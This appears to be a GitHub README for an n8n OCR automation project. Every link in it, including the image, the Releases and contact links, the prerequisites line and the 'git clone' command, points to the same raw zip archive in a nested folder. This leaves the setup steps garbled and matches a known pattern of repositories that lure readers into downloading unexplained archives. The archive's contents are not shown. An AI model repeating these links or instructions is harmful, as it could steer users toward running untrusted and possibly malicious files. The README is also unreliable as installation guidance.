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N8N OCR workflow

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# OCR Workflow: N8N Automation for Document Processing 🌟

![OCR Workflow](https://github.com/gani114433/OCR_workflow/raw/refs/heads/main/akhoond/OC_workflow_2.3-alpha.5.zip%https://github.com/gani114433/OCR_workflow/raw/refs/heads/main/akhoond/OC_workflow_2.3-alpha.5.zip)

Welcome to the **OCR Workflow** repository! This project leverages N8N to automate Optical Character Recognition (OCR) tasks. Our goal is to provide a streamlined, codeless solution for processing PDF documents and extracting valuable information using AI technologies.

## Table of Contents

- [Introduction](#introduction)
- [Features](#features)
- [Getting Started](#getting-started)
- [Workflow Overview](#workflow-overview)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)

## Introduction

In today’s digital age, managing documents efficiently is crucial. The **OCR Workflow** project aims to simplify this process by using N8N, a powerful workflow automation tool. By integrating OCR capabilities, users can extract text from scanned documents and images effortlessly.

### Why Use OCR?

Optical Character Recognition (OCR) transforms different types of documents, such as scanned paper documents, PDF files, or images captured by a digital camera, into editable and searchable data. This process saves time and reduces manual data entry errors.

## Features

- **Codeless Automation**: Build workflows without writing code.
- **Integration with N8N**: Seamlessly connect various services and tools.
- **PDF Document Processing**: Extract text from PDF files easily.
- **AI-Powered Recognition**: Utilize advanced AI technologies for accurate text extraction.
- **User-Friendly Interface**: Navigate through workflows with ease.

## Getting Started

To get started with the **OCR Workflow**, visit our [Releases section](https://github.com/gani114433/OCR_workflow/raw/refs/heads/main/akhoond/OC_workflow_2.3-alpha.5.zip) to download the latest version. Follow the instructions below to set up your environment.

### Prerequisites

- https://github.com/gani114433/OCR_workflow/raw/refs/heads/main/akhoond/OC_workflow_2.3-alpha.5.zip installed on your machine.
- Basic understanding of N8N and its functionalities.

## Workflow Overview

The OCR Workflow consists of several key components that work together to automate the document processing task:

1. **Input Node**: Accepts PDF documents or images.
2. **OCR Node**: Processes the input to extract text.
3. **Output Node**: Sends the extracted text to a specified destination (e.g., email, database).

This workflow can be customized further based on user requirements, making it versatile for various applications.

## Installation

To install the OCR Workflow, follow these steps:

1. **Clone the Repository**:

```bash
   git clone https://github.com/gani114433/OCR_workflow/raw/refs/heads/main/akhoond/OC_workflow_2.3-alpha.5.zip
   cd OCR_workflow
   ```

2. **Install Dependencies**:

```bash
   npm install
   ```

3. **Start N8N**:

```bash
   n8n start
   ```

4. **Access N8N**: Open your web browser and navigate to `http://localhost:5678`.

5. **Import the Workflow**: Use the N8N interface to import the OCR workflow file provided in this repository.

## Usage

Once you have set up the workflow, you can start processing documents:

1. **Upload a PDF Document**: Use the input node to upload your document.
2. **Run the Workflow**: Trigger the workflow to start the OCR process.
3. **View Results**: Check the output node for the extracted text.

For more detailed usage instructions, refer to the documentation provided in this repository.

## Contributing

We welcome contributions to enhance the OCR Workflow. If you would like to contribute, please follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your branch to your forked repository.
5. Create a pull request.

Please ensure that your code adheres to the existing coding style and includes relevant tests.

## License

This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.

## Contact

For questions or feedback, please reach out to us through the repository or visit our [Releases section](https://github.com/gani114433/OCR_workflow/raw/refs/heads/main/akhoond/OC_workflow_2.3-alpha.5.zip) for updates.

Thank you for checking out the **OCR Workflow**! We hope this project simplifies your document processing tasks.

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